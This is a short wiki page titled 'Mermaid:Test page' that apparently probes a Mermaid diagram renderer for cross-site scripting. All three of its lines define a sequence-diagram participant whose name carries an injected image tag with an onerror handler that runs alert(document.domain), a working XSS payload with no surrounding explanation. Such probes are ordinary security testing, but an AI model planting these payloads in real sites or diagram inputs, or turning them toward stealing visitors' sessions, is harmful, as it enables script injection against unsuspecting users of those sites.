Mermaid:Test page
From Cheeky Factor
sequenceDiagram
participant Alice <u>test</u><img src=x onerror=alert(document.domain)>foo
sequenceDiagram participant Alice <u>test</u><img src=x onerror=alert(document.domain)>foo
sequenceDiagram participant Alice <u>test</u><img src=x onerror=alert(document.domain)>foo